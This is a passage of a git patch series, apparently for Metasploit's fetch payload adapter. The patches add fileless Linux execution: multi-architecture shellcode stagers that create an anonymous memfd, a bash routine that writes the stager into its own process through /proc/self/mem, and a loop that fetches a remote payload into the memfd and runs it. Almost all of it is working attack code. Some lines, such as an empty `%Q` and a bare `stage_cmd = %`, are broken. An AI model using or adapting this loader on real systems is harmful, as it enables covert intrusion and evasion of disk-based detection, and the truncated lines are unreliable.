r7, #0x83 0x4ff08307 + 0x07f1fe07, #0x1012: add.w r7, r7, #0xfe 0x07f1fe07 + 0x00df, #0x1016: svc #0 0x00df + 0x4ff05d07, #0x1018: mov.w r7, #0x5d 0x4ff05d07 + 0x00df, #0x101c: svc #0 0x00df + 0x4ff01d07, #0x101e: mov.w r7, #0x1d 0x4ff01d07 + 0x00df, #0x1022: svc #0 0x00df ] payload = in_memory_loader_asm.pack("V*") when 'armbe' @@ -368,18 +367,17 @@ def _generate_first_stage_shellcode # ftruncate(fd, null) # pause() in_memory_loader_asm = [ - 0xe3a02000, #0x1000: mov r2, #0 0xe3a02000 - 0xe52d2000, #0x1004: str r2, [sp, #-0] 0xe52d2000 - 0xe1a0000d, #0x1008: mov r0, sp 0xe1a0000d - 0xe3a01001, #0x100c: mov r1, #1 0xe3a01001 - 0xe3a07083, #0x1010: mov r7, #0x83 0xe3a07083 - 0xe28770fe, #0x1014: add r7, r7, #0xfe 0xe28770fe - 0xef000000, #0x1018: svc #0 0xef000000 - 0xe3a0705d, #0x101c: mov r7, #0x5d 0xe3a0705d - 0xef000000, #0x1020: svc #0 0xef000000 - 0xe3a0701d, #0x1024: mov r7, #0x1d 0xe3a0701d - 0xef000000, #0x1028: svc #0 0xef000000 - + 0xf04f0200, #0x1000: mov.w r2, #0 0xf04f0200 + 0xf84d2d04, #0x1004: str r2, [sp, #-0x4]! 0xf84d2d04 + 0x4668, #0x1008: mov r0, sp 0x4668 + 0xf04f0101, #0x100a: mov.w r1, #1 0xf04f0101 + 0xf04f0783, #0x100e: mov.w r7, #0x83 0xf04f0783 + 0xf10707fe, #0x1012: add.w r7, r7, #0xfe 0xf10707fe + 0xdf00, #0x1016: svc #0 0xdf00 + 0xf04f075d, #0x1018: mov.w r7, #0x5d 0xf04f075d + 0xdf00, #0x101c: svc #0 0xdf00 + 0xf04f071d, #0x101e: mov.w r7, #0x1d 0xf04f071d + 0xdf00, #0x1022: svc #0 0xdf00 ] payload = in_memory_loader_asm.pack("V*") when 'mips64' From 0bb9161b02193a1ab1ee8e8b5f45fe0412e5011e Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Wed, 2 Apr 2025 16:37:14 +0200 Subject: [PATCH 08/22] Update jump instruction armle/armbe --- lib/msf/core/payload/adapter/fetch.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index cde8619021ee5..1c79bacb6ac95 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -489,9 +489,10 @@ def _generate_jmp_instruction when 'aarch64' %^"4000005800001fd6"$(echo $(printf %016x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')^ when 'armle' - %^"e59f2008e12fff12"$(echo $(printf %04x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')^ + %^"024a1047"$(echo $(printf %04x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')^ when 'armbe' - %^"08209fe512ff2fe1"$(echo $(printf %04x $vdso_addr))^ + #%^"08209fe51047"$(echo $(printf %04x $vdso_addr))^ + %^"e59f20084710"$(echo $(printf %04x $vdso_addr))^ when 'mipsle' %^$(echo (printf %04x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')"09340800200100000000"^ when 'mipsbe' From 5a3dfdbebb8a19da30b130d1fc523000fb5e4b06 Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Sun, 6 Apr 2025 13:44:31 +0200 Subject: [PATCH 09/22] Code refactor --- lib/msf/core/payload/adapter/fetch.rb | 270 +---------------- .../core/payload/adapter/fetch/fileless.rb | 280 ++++++++++++++++++ 2 files changed, 283 insertions(+), 267 deletions(-) create mode 100644 lib/msf/core/payload/adapter/fetch/fileless.rb diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index 1c79bacb6ac95..2e5a8e9363b43 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -1,4 +1,6 @@ module Msf::Payload::Adapter::Fetch + include Msf::Payload::Adapter::Fetch::Fileless + def initialize(*args) super register_options( @@ -256,7 +258,7 @@ def _execute_win(get_file_cmd) end def _execute_nix(get_file_cmd) - return _generate_fileless_bash(get_file_cmd) if datastore['FETCH_FILELESS'] == 'bash' + return _generate_fileless_bash(get_file_cmd, module_info['AdaptedArch']) if datastore['FETCH_FILELESS'] == 'bash' return _generate_fileless_python(get_file_cmd) if datastore['FETCH_FILELESS'] == 'python3.8+' @@ -282,272 +284,6 @@ def _generate_certutil_command _execute_add(get_file_cmd) end - def _generate_first_stage_shellcode - case module_info['AdaptedArch'] - when 'x64' - # fd = memfd_create() - # ftruncate(fd, null) - # pause() - in_memory_loader_asm = %( - start: - xor rsi, rsi - push rsi - push rsp - pop rdi - mov rax, 0xfffffffffffffec1 - neg rax - syscall - mov rdi,rax - mov al, 0x4d - syscall - push 0x22 - pop rax - syscall - - ) - payload = Metasm::Shellcode.assemble(Metasm::X64.new, in_memory_loader_asm).encode_string - when 'x86' - # fd = memfd_create() - # ftruncate(fd, null) - # pause() - in_memory_loader_asm= %( - xor ecx, ecx - push ecx - lea ebx, [esp] - inc ecx - mov eax, 0xfffffe9c - neg eax - int 0x80 - mov ebx, eax - mov al, 0x5d - int 0x80 - mov al, 0x1d - int 0x80 - ) - payload = Metasm::Shellcode.assemble(Metasm::X86.new, in_memory_loader_asm).encode_string - when 'aarch64' - # fd = memfd_create() - # ftruncate(fd, null) - # pid = getpid() - # kill(pid,SIGSTOP) - in_memory_loader_asm = [ - 0x000080d2, #0x1000: mov x0, #0 0x000080d2 - 0xe00f1ff8, #0x1004: str x0, [sp, #-0x10]! 0xe00f1ff8 - 0xe0030091, #0x1008: mov x0, sp 0xe0030091 - 0x210001ca, #0x100c: eor x1, x1, x1 0x210001ca - 0xe82280d2, #0x1010: mov x8, #0x117 0xe82280d2 - 0x010000d4, #0x1014: svc #0 0x010000d4 - 0xc80580d2, #0x1018: mov x8, #0x2e 0xc80580d2 - 0x010000d4, #0x101c: svc #0 0x010000d4 - 0x881580d2, #0x1020: mov x8, #0xac 0x881580d2 - 0x010000d4, #0x1024: svc #0 0x010000d4 - 0x610280d2, #0x1028: mov x1, #0x13 0x610280d2 - 0x281080d2, #0x102c: mov x8, #0x81 0x281080d2 - 0x010000d4, #0x1030: svc #0 0x010000d4 - - ] - payload = in_memory_loader_asm.pack("N*") - when 'armle' - in_memory_loader_asm = [ - 0x4ff00002, #0x1000: mov.w r2, #0 0x4ff00002 - 0x4df8042d, #0x1004: str r2, [sp, #-0x4]! 0x4df8042d - 0x6846, #0x1008: mov r0, sp 0x6846 - 0x4ff00101, #0x100a: mov.w r1, #1 0x4ff00101 - 0x4ff08307, #0x100e: mov.w r7, #0x83 0x4ff08307 - 0x07f1fe07, #0x1012: add.w r7, r7, #0xfe 0x07f1fe07 - 0x00df, #0x1016: svc #0 0x00df - 0x4ff05d07, #0x1018: mov.w r7, #0x5d 0x4ff05d07 - 0x00df, #0x101c: svc #0 0x00df - 0x4ff01d07, #0x101e: mov.w r7, #0x1d 0x4ff01d07 - 0x00df, #0x1022: svc #0 0x00df - ] - payload = in_memory_loader_asm.pack("V*") - when 'armbe' - # fd = memfd_create() - # ftruncate(fd, null) - # pause() - in_memory_loader_asm = [ - 0xf04f0200, #0x1000: mov.w r2, #0 0xf04f0200 - 0xf84d2d04, #0x1004: str r2, [sp, #-0x4]! 0xf84d2d04 - 0x4668, #0x1008: mov r0, sp 0x4668 - 0xf04f0101, #0x100a: mov.w r1, #1 0xf04f0101 - 0xf04f0783, #0x100e: mov.w r7, #0x83 0xf04f0783 - 0xf10707fe, #0x1012: add.w r7, r7, #0xfe 0xf10707fe - 0xdf00, #0x1016: svc #0 0xdf00 - 0xf04f075d, #0x1018: mov.w r7, #0x5d 0xf04f075d - 0xdf00, #0x101c: svc #0 0xdf00 - 0xf04f071d, #0x101e: mov.w r7, #0x1d 0xf04f071d - 0xdf00, #0x1022: svc #0 0xdf00 - ] - payload = in_memory_loader_asm.pack("V*") - when 'mips64' - in_memory_loader_asm = [ - 0xfcffa0af, #0x1000: sw $zero, -4($sp) 0xfcffa0af - 0xfcffbd27, #0x1004: addiu $sp, $sp, -4 0xfcffbd27 - 0x2020a003, #0x1008: add $a0, $sp, $zero 0x2020a003 - 0xfeff1924, #0x100c: addiu $t9, $zero, -2 0xfeff1924 - 0x27282003, #0x1010: not $a1, $t9 0x27282003 - 0x02110224, #0x1014: addiu $v0, $zero, 0x1102 0x02110224 - 0x0c000000, #0x1018: syscall 0x0c000000 - 0x2528e003, #0x101c: move $a1, $ra 0x2528e003 - 0xfd0f0224, #0x1020: addiu $v0, $zero, 0xffd 0xfd0f0224 - 0x0c000000, #0x1024: syscall 0x0c000000 - 0xbd0f0224, #0x1028: addiu $v0, $zero, 0xfbd 0xbd0f0224 - 0x0c000000, #0x102c: syscall 0x0c000000 - ] - payload = in_memory_loader_asm.pack('V*') - when 'mipsbe' - in_memory_loader_asm = [ - 0xafa0fffc, #0x1000: sw $zero, -4($sp) 0xafa0fffc - 0x27bdfffc, #0x1004: addiu $sp, $sp, -4 0x27bdfffc - 0x03a02020, #0x1008: add $a0, $sp, $zero 0x03a02020 - 0x2419fffe, #0x100c: addiu $t9, $zero, -2 0x2419fffe - 0x03202827, #0x1010: not $a1, $t9 0x03202827 - 0x24021102, #0x1014: addiu $v0, $zero, 0x1102 0x24021102 - 0x0000000c, #0x1018: syscall 0x0000000c - 0x03e02825, #0x101c: move $a1, $ra 0x03e02825 - 0x24020ffd, #0x1020: addiu $v0, $zero, 0xffd 0x24020ffd - 0x0000000c, #0x1024: syscall 0x0000000c - 0x24020fbd, #0x1028: addiu $v0, $zero, 0xfbd 0x24020fbd - 0x0000000c, #0x102c: syscall 0x0000000c - ] - payload = in_memory_loader_asm.pack('V*') - when 'mipsle' - in_memory_loader_asm = [ - 0xfcffa0af, #0x1000: sw $zero, -4($sp) 0xfcffa0af - 0xfcffbd27, #0x1004: addiu $sp, $sp, -4 0xfcffbd27 - 0x2020a003, #0x1008: add $a0, $sp, $zero 0x2020a003 - 0xfeff1924, #0x100c: addiu $t9, $zero, -2 0xfeff1924 - 0x27282003, #0x1010: not $a1, $t9 0x27282003 - 0x02110224, #0x1014: addiu $v0, $zero, 0x1102 0x02110224 - 0x0c000000, #0x1018: syscall 0x0c000000 - 0x2528e003, #0x101c: move $a1, $ra 0x2528e003 - 0xfd0f0224, #0x1020: addiu $v0, $zero, 0xffd 0xfd0f0224 - 0x0c000000, #0x1024: syscall 0x0c000000 - 0xbd0f0224, #0x1028: addiu $v0, $zero, 0xfbd 0xbd0f0224 - 0x0c000000, #0x102c: syscall 0x0c000000 - ] - payload = in_memory_loader_asm.pack('V*') - when 'ppc' - in_memory_loader_asm = [ - 0x0000c039, #0x1000: li r14, 0 0x0000c039 - 0x0000c195, #0x1004: stwu r14, 0(r1) 0x0000c195 - 0x780b237c, #0x1008: mr r3, r1 0x780b237c - 0x00008038, #0x100c: li r4, 0 0x00008038 - 0x68010038, #0x1010: li r0, 0x168 0x68010038 - 0x02000044, #0x1014: sc 0x02000044 - 0x5d000038, #0x1018: li r0, 0x5d 0x5d000038 - 0x02000044, #0x101c: sc 0x02000044 - 0x1d000038, #0x1020: li r0, 0x1d 0x1d000038 - 0x02000044, #0x1024: sc 0x02000044 - ] - payload = in_memory_loader_asm.pack('N*') - when 'ppc64' - in_memory_loader_asm = [ - 0x39c00000, #0x1000: li r14, 0 0x39c00000 - 0x95c10000, #0x1004: stwu r14, 0(r1) 0x95c10000 - 0x7c230b78, #0x1008: mr r3, r1 0x7c230b78 - 0x38800000, #0x100c: li r4, 0 0x38800000 - 0x38000168, #0x1010: li r0, 0x168 0x38000168 - 0x44000002, #0x1014: sc 0x44000002 - 0x3800005d, #0x1018: li r0, 0x5d 0x3800005d - 0x44000002, #0x101c: sc 0x44000002 - 0x3800001d, #0x1020: li r0, 0x1d 0x3800001d - 0x44000002, #0x1024: sc 0x44000002 - ] - payload = in_memory_loader_asm.pack('N*') - when 'ppc64le' - in_memory_loader_asm = [ - 0x0000c039, #0x1000: li r14, 0 0x0000c039 - 0x0000c195, #0x1004: stwu r14, 0(r1) 0x0000c195 - 0x780b237c, #0x1008: mr r3, r1 0x780b237c - 0x00008038, #0x100c: li r4, 0 0x00008038 - 0x68010038, #0x1010: li r0, 0x168 0x68010038 - 0x02000044, #0x1014: sc 0x02000044 - 0x5d000038, #0x1018: li r0, 0x5d 0x5d000038 - 0x02000044, #0x101c: sc 0x02000044 - 0x1d000038, #0x1020: li r0, 0x1d 0x1d000038 - 0x02000044, #0x1024: sc 0x02000044 - ] - payload = in_memory_loader_asm.pack('N*') - else - fail_with(Msf::Module::Failure::BadConfig, 'Unsupported architecture') - end - payload.unpack("H*")[0] - #Base64.strict_encode64(payload).gsub(/\n/, '') - end - - def _generate_jmp_instruction - # - # The sed command will basically take two characters at the time and switch their order, this is due to endianess of x86 addresses - # - case module_info['AdaptedArch'] - when 'x64' - %^"48b8"$(echo $(printf %016x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')"ffe0"^ - when 'x86' - %^"b8"$(echo $(printf %08x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')"ffe0"^ - when 'aarch64' - %^"4000005800001fd6"$(echo $(printf %016x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')^ - when 'armle' - %^"024a1047"$(echo $(printf %04x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')^ - when 'armbe' - #%^"08209fe51047"$(echo $(printf %04x $vdso_addr))^ - %^"e59f20084710"$(echo $(printf %04x $vdso_addr))^ - when 'mipsle' - %^$(echo (printf %04x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')"09340800200100000000"^ - when 'mipsbe' - %^"2409"$(echo (printf %04x $vdso_addr))"0120000800000000"^ - when 'mips64' - %^$(echo (printf %04x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')"09340800200100000000"^ - when 'ppc' - %^$(echo (printf %04x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')"0038a603087c2000804e"^ - when 'ppc64' - %^"3800"$(echo (printf %04x $vdso_addr))"7c0803a64e800020"^ - when 'ppc64le' - %^$(echo (printf %04x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')"0038a603087c2000804e"^ - else - fail_with(Msf::Module::Failure::BadConfig, 'Unsupported architecture') - end - end - - # Original Idea: The idea behind fileless execution are anonymous files. The bash script will search through all processes owned by $USER and search from all file descriptor. If it will find anonymous file (contains "memfd") with correct permissions (rwx), it will copy the payload into that descriptor with defined fetch command and finally call that descriptor - # New idea: use /proc/*/mem to write shellcode stager into bash process and create anonymous handle on-fly, then search for that handle and use same approach as original idea - def _generate_fileless_bash(get_file_cmd) - stage_cmd = % - stage_cmd << %(jmp=#{_generate_jmp_instruction};) - stage_cmd << %(sc='#{_generate_first_stage_shellcode}';) - stage_cmd << % - stage_cmd << % - stage_cmd << 'read syscall_info < /proc/self/syscall;' - stage_cmd << "addr=$(($(echo $syscall_info | cut -d' ' -f9)));" - stage_cmd << 'exec 3>/proc/self/mem;' - stage_cmd << 'dd bs=1 skip=$vdso_addr <&3 >/dev/null 2>&1;' - stage_cmd << 'printf $sc >&3;' - stage_cmd << 'exec 3>&-;' - stage_cmd << 'exec 3>/proc/self/mem;' - stage_cmd << 'dd bs=1 skip=$addr <&3 >/dev/null 2>&1;' - stage_cmd << 'printf $jmp >&3;' - - cmd = "echo -n '#{Base64.strict_encode64(stage_cmd).gsub(/\n/, '')}' | base64 -d | bash & " - cmd << 'cd /proc/$!;' - cmd << 'sleep 1;' #adding short pause to give process time to load file handle - cmd << 'FOUND=0;if [ $FOUND -eq 0 ];' - - cmd << 'then for f in $(find ./fd -type l -perm u=rwx 2>/dev/null);' - cmd << 'do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ];' - cmd << "then if $(#{get_file_cmd} >/dev/null);" - cmd << 'then $f;FOUND=1;break;' - cmd << 'fi;' - cmd << 'fi;' - cmd << 'done;' - cmd << 'fi;' - end - - # same idea as _generate_fileless function, but force creating anonymous file handle - def _generate_fileless_python(get_file_cmd) - %Q - end - def _generate_curl_command case fetch_protocol when 'HTTP' diff --git a/lib/msf/core/payload/adapter/fetch/fileless.rb b/lib/msf/core/payload/adapter/fetch/fileless.rb new file mode 100644 index 0000000000000..20be48b5db02c --- /dev/null +++ b/lib/msf/core/payload/adapter/fetch/fileless.rb @@ -0,0 +1,280 @@ +module Msf::Payload::Adapter::Fetch::Fileless + + def _generate_first_stage_shellcode(arch) + case arch + when 'x64' + # fd = memfd_create() + # ftruncate(fd, null) + # pause() + in_memory_loader_asm = %( + start: + xor rsi, rsi + push rsi + push rsp + pop rdi + mov rax, 0xfffffffffffffec1 + neg rax + syscall + mov rdi,rax + mov al, 0x4d + syscall + push 0x22 + pop rax + syscall + + ) + payload = Metasm::Shellcode.assemble(Metasm::X64.new, in_memory_loader_asm).encode_string + when 'x86' + # fd = memfd_create() + # ftruncate(fd, null) + # pause() + in_memory_loader_asm= %( + xor ecx, ecx + push ecx + lea ebx, [esp] + inc ecx + mov eax, 0xfffffe9c + neg eax + int 0x80 + mov ebx, eax + mov al, 0x5d + int 0x80 + mov al, 0x1d + int 0x80 + ) + payload = Metasm::Shellcode.assemble(Metasm::X86.new, in_memory_loader_asm).encode_string + when 'aarch64' + # fd = memfd_create() + # ftruncate(fd, null) + # pid = getpid() + # kill(pid,SIGSTOP) + in_memory_loader_asm = [ + 0x000080d2, #0x1000: mov x0, #0 0x000080d2 + 0xe00f1ff8, #0x1004: str x0, [sp, #-0x10]! 0xe00f1ff8 + 0xe0030091, #0x1008: mov x0, sp 0xe0030091 + 0x210001ca, #0x100c: eor x1, x1, x1 0x210001ca + 0xe82280d2, #0x1010: mov x8, #0x117 0xe82280d2 + 0x010000d4, #0x1014: svc #0 0x010000d4 + 0xc80580d2, #0x1018: mov x8, #0x2e 0xc80580d2 + 0x010000d4, #0x101c: svc #0 0x010000d4 + 0x881580d2, #0x1020: mov x8, #0xac 0x881580d2 + 0x010000d4, #0x1024: svc #0 0x010000d4 + 0x610280d2, #0x1028: mov x1, #0x13 0x610280d2 + 0x281080d2, #0x102c: mov x8, #0x81 0x281080d2 + 0x010000d4, #0x1030: svc #0 0x010000d4 + + ] + payload = in_memory_loader_asm.pack("N*") + when 'armle' + in_memory_loader_asm = [ + 0x4ff00002, #0x1000: mov.w r2, #0 0x4ff00002 + 0x4df8042d, #0x1004: str r2, [sp, #-0x4]! 0x4df8042d + 0x6846, #0x1008: mov r0, sp 0x6846 + 0x4ff00101, #0x100a: mov.w r1, #1 0x4ff00101 + 0x4ff08307, #0x100e: mov.w r7, #0x83 0x4ff08307 + 0x07f1fe07, #0x1012: add.w r7, r7, #0xfe 0x07f1fe07 + 0x00df, #0x1016: svc #0 0x00df + 0x4ff05d07, #0x1018: mov.w r7, #0x5d 0x4ff05d07 + 0x00df, #0x101c: svc #0 0x00df + 0x4ff01d07, #0x101e: mov.w r7, #0x1d 0x4ff01d07 + 0x00df, #0x1022: svc #0 0x00df + ] + payload = in_memory_loader_asm.pack("V*") + when 'armbe' + # fd = memfd_create() + # ftruncate(fd, null) + # pause() + in_memory_loader_asm = [ + 0xf04f0200, #0x1000: mov.w r2, #0 0xf04f0200 + 0xf84d2d04, #0x1004: str r2, [sp, #-0x4]! 0xf84d2d04 + 0x4668, #0x1008: mov r0, sp 0x4668 + 0xf04f0101, #0x100a: mov.w r1, #1 0xf04f0101 + 0xf04f0783, #0x100e: mov.w r7, #0x83 0xf04f0783 + 0xf10707fe, #0x1012: add.w r7, r7, #0xfe 0xf10707fe + 0xdf00, #0x1016: svc #0 0xdf00 + 0xf04f075d, #0x1018: mov.w r7, #0x5d 0xf04f075d + 0xdf00, #0x101c: svc #0 0xdf00 + 0xf04f071d, #0x101e: mov.w r7, #0x1d 0xf04f071d + 0xdf00, #0x1022: svc #0 0xdf00 + ] + payload = in_memory_loader_asm.pack("V*") + when 'mips64' + in_memory_loader_asm = [ + 0xfcffa0af, #0x1000: sw $zero, -4($sp) 0xfcffa0af + 0xfcffbd27, #0x1004: addiu $sp, $sp, -4 0xfcffbd27 + 0x2020a003, #0x1008: add $a0, $sp, $zero 0x2020a003 + 0xfeff1924, #0x100c: addiu $t9, $zero, -2 0xfeff1924 + 0x27282003, #0x1010: not $a1, $t9 0x27282003 + 0x02110224, #0x1014: addiu $v0, $zero, 0x1102 0x02110224 + 0x0c000000, #0x1018: syscall 0x0c000000 + 0x2528e003, #0x101c: move $a1, $ra 0x2528e003 + 0xfd0f0224, #0x1020: addiu $v0, $zero, 0xffd 0xfd0f0224 + 0x0c000000, #0x1024: syscall 0x0c000000 + 0xbd0f0224, #0x1028: addiu $v0, $zero, 0xfbd 0xbd0f0224 + 0x0c000000, #0x102c: syscall 0x0c000000 + ] + payload = in_memory_loader_asm.pack('V*') + when 'mipsbe' + in_memory_loader_asm = [ + 0xafa0fffc, #0x1000: sw $zero, -4($sp) 0xafa0fffc + 0x27bdfffc, #0x1004: addiu $sp, $sp, -4 0x27bdfffc + 0x03a02020, #0x1008: add $a0, $sp, $zero 0x03a02020 + 0x2419fffe, #0x100c: addiu $t9, $zero, -2 0x2419fffe + 0x03202827, #0x1010: not $a1, $t9 0x03202827 + 0x24021102, #0x1014: addiu $v0, $zero, 0x1102 0x24021102 + 0x0000000c, #0x1018: syscall 0x0000000c + 0x03e02825, #0x101c: move $a1, $ra 0x03e02825 + 0x24020ffd, #0x1020: addiu $v0, $zero, 0xffd 0x24020ffd + 0x0000000c, #0x1024: syscall 0x0000000c + 0x24020fbd, #0x1028: addiu $v0, $zero, 0xfbd 0x24020fbd + 0x0000000c, #0x102c: syscall 0x0000000c + ] + payload = in_memory_loader_asm.pack('V*') + when 'mipsle' + in_memory_loader_asm = [ + 0xfcffa0af, #0x1000: sw $zero, -4($sp) 0xfcffa0af + 0xfcffbd27, #0x1004: addiu $sp, $sp, -4 0xfcffbd27 + 0x2020a003, #0x1008: add $a0, $sp, $zero 0x2020a003 + 0xfeff1924, #0x100c: addiu $t9, $zero, -2 0xfeff1924 + 0x27282003, #0x1010: not $a1, $t9 0x27282003 + 0x02110224, #0x1014: addiu $v0, $zero, 0x1102 0x02110224 + 0x0c000000, #0x1018: syscall 0x0c000000 + 0x2528e003, #0x101c: move $a1, $ra 0x2528e003 + 0xfd0f0224, #0x1020: addiu $v0, $zero, 0xffd 0xfd0f0224 + 0x0c000000, #0x1024: syscall 0x0c000000 + 0xbd0f0224, #0x1028: addiu $v0, $zero, 0xfbd 0xbd0f0224 + 0x0c000000, #0x102c: syscall 0x0c000000 + ] + payload = in_memory_loader_asm.pack('V*') + when 'ppc' + in_memory_loader_asm = [ + 0x0000c039, #0x1000: li r14, 0 0x0000c039 + 0x0000c195, #0x1004: stwu r14, 0(r1) 0x0000c195 + 0x780b237c, #0x1008: mr r3, r1 0x780b237c + 0x00008038, #0x100c: li r4, 0 0x00008038 + 0x68010038, #0x1010: li r0, 0x168 0x68010038 + 0x02000044, #0x1014: sc 0x02000044 + 0x5d000038, #0x1018: li r0, 0x5d 0x5d000038 + 0x02000044, #0x101c: sc 0x02000044 + 0x1d000038, #0x1020: li r0, 0x1d 0x1d000038 + 0x02000044, #0x1024: sc 0x02000044 + ] + payload = in_memory_loader_asm.pack('N*') + when 'ppc64' + in_memory_loader_asm = [ + 0x39c00000, #0x1000: li r14, 0 0x39c00000 + 0x95c10000, #0x1004: stwu r14, 0(r1) 0x95c10000 + 0x7c230b78, #0x1008: mr r3, r1 0x7c230b78 + 0x38800000, #0x100c: li r4, 0 0x38800000 + 0x38000168, #0x1010: li r0, 0x168 0x38000168 + 0x44000002, #0x1014: sc 0x44000002 + 0x3800005d, #0x1018: li r0, 0x5d 0x3800005d + 0x44000002, #0x101c: sc 0x44000002 + 0x3800001d, #0x1020: li r0, 0x1d 0x3800001d + 0x44000002, #0x1024: sc 0x44000002 + ] + payload = in_memory_loader_asm.pack('N*') + when 'ppc64le' + in_memory_loader_asm = [ + 0x0000c039, #0x1000: li r14, 0 0x0000c039 + 0x0000c195, #0x1004: stwu r14, 0(r1) 0x0000c195 + 0x780b237c, #0x1008: mr r3, r1 0x780b237c + 0x00008038, #0x100c: li r4, 0 0x00008038 + 0x68010038, #0x1010: li r0, 0x168 0x68010038 + 0x02000044, #0x1014: sc 0x02000044 + 0x5d000038, #0x1018: li r0, 0x5d 0x5d000038 + 0x02000044, #0x101c: sc 0x02000044 + 0x1d000038, #0x1020: li r0, 0x1d 0x1d000038 + 0x02000044, #0x1024: sc 0x02000044 + ] + payload = in_memory_loader_asm.pack('N*') + else + fail_with(Msf::Module::Failure::BadConfig, 'Unsupported architecture') + end + #payload.unpack("H*")[0] + #Base64.strict_encode64(payload).gsub(/\n/, '') + end + + def _generate_jmp_instruction_sh(arch) + case arch + when 'x64' + %^110270^ + else + fail_with(Msf::Module::Failure::BadConfig, 'Unsupported architecture') + end + + end + + #bash contains extension to standard printf definition, which allows defining hexadecimal bytes with \xHH. + def _generate_jmp_instruction_bash(arch) + # + # The sed command will basically take two characters at the time and switch their order, this is due to endianess of x86 addresses + + case arch + when 'x64' + %^"48b8"$(echo $(printf %016x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')"ffe0"^ + when 'x86' + %^"b8"$(echo $(printf %08x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')"ffe0"^ + when 'aarch64' + %^"4000005800001fd6"$(echo $(printf %016x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')^ + when 'armle' + %^"024a1047"$(echo $(printf %04x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')^ + when 'armbe' + %^"dff800703847"$(echo $(printf %04x $vdso_addr))^ + when 'mipsle' + %^$(echo (printf %04x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')"09340800200100000000"^ + when 'mipsbe' + %^"2409"$(echo (printf %04x $vdso_addr))"0120000800000000"^ + when 'mips64' + %^$(echo (printf %04x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')"09340800200100000000"^ + when 'ppc' + %^$(echo (printf %04x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')"0038a603087c2000804e"^ + when 'ppc64' + %^"3800"$(echo (printf %04x $vdso_addr))"7c0803a64e800020"^ + when 'ppc64le' + %^$(echo (printf %04x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')"0038a603087c2000804e"^ + else + fail_with(Msf::Module::Failure::BadConfig, 'Unsupported architecture') + end + end + + # Original Idea: The idea behind fileless execution are anonymous files. The bash script will search through all processes owned by $USER and search from all file descriptor. If it will find anonymous file (contains "memfd") with correct permissions (rwx), it will copy the payload into that descriptor with defined fetch command and finally call that descriptor + # New idea: use /proc/*/mem to write shellcode stager into bash process and create anonymous handle on-fly, then search for that handle and use same approach as original idea + def _generate_fileless_bash(get_file_cmd, arch) + stage_cmd = % + stage_cmd << %(jmp=#{_generate_jmp_instruction_bash(arch)};) + stage_cmd << %(sc='#{_generate_first_stage_shellcode(arch).unpack("H*")[0]}';) + stage_cmd << % + stage_cmd << % + stage_cmd << 'read syscall_info < /proc/self/syscall;' + stage_cmd << "addr=$(($(echo $syscall_info | cut -d' ' -f9)));" + stage_cmd << 'exec 3>/proc/self/mem;' + stage_cmd << 'dd bs=1 skip=$vdso_addr <&3 >/dev/null 2>&1;' + stage_cmd << 'printf $sc >&3;' + stage_cmd << 'exec 3>&-;' + stage_cmd << 'exec 3>/proc/self/mem;' + stage_cmd << 'dd bs=1 skip=$addr <&3 >/dev/null 2>&1;' + stage_cmd << 'printf $jmp >&3;' + + cmd = "echo -n '#{Base64.strict_encode64(stage_cmd).gsub(/\n/, '')}' | base64 -d | bash & " + cmd << 'cd /proc/$!;' + cmd << 'sleep 1;' #adding short pause to give process time to load file handle + cmd << 'FOUND=0;if [ $FOUND -eq 0 ];' + + cmd << 'then for f in $(find ./fd -type l -perm u=rwx 2>/dev/null);' + cmd << 'do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ];' + cmd << "then if $(#{get_file_cmd} >/dev/null);" + cmd << 'then $f;FOUND=1;break;' + cmd << 'fi;' + cmd << 'fi;' + cmd << 'done;' + cmd << 'fi;' + end + + # same idea as _generate_fileless function, but force creating anonymous file handle + def _generate_fileless_python(get_file_cmd) + %Q + end + +end + From bca3e762037c6c04bea11bc4c1fabc2dad19ce1f Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Mon, 21 Apr 2025 22:12:16 +0200 Subject: [PATCH 10/22] Add armbe/armle fix --- .../core/payload/adapter/fetch/fileless.rb | 50 +++++++++---------- 1 file changed, 25 insertions(+), 25 deletions(-) diff --git a/lib/msf/core/payload/adapter/fetch/fileless.rb b/lib/msf/core/payload/adapter/fetch/fileless.rb index 20be48b5db02c..7da82886e47bb 100644 --- a/lib/msf/core/payload/adapter/fetch/fileless.rb +++ b/lib/msf/core/payload/adapter/fetch/fileless.rb @@ -67,17 +67,17 @@ def _generate_first_stage_shellcode(arch) payload = in_memory_loader_asm.pack("N*") when 'armle' in_memory_loader_asm = [ - 0x4ff00002, #0x1000: mov.w r2, #0 0x4ff00002 - 0x4df8042d, #0x1004: str r2, [sp, #-0x4]! 0x4df8042d - 0x6846, #0x1008: mov r0, 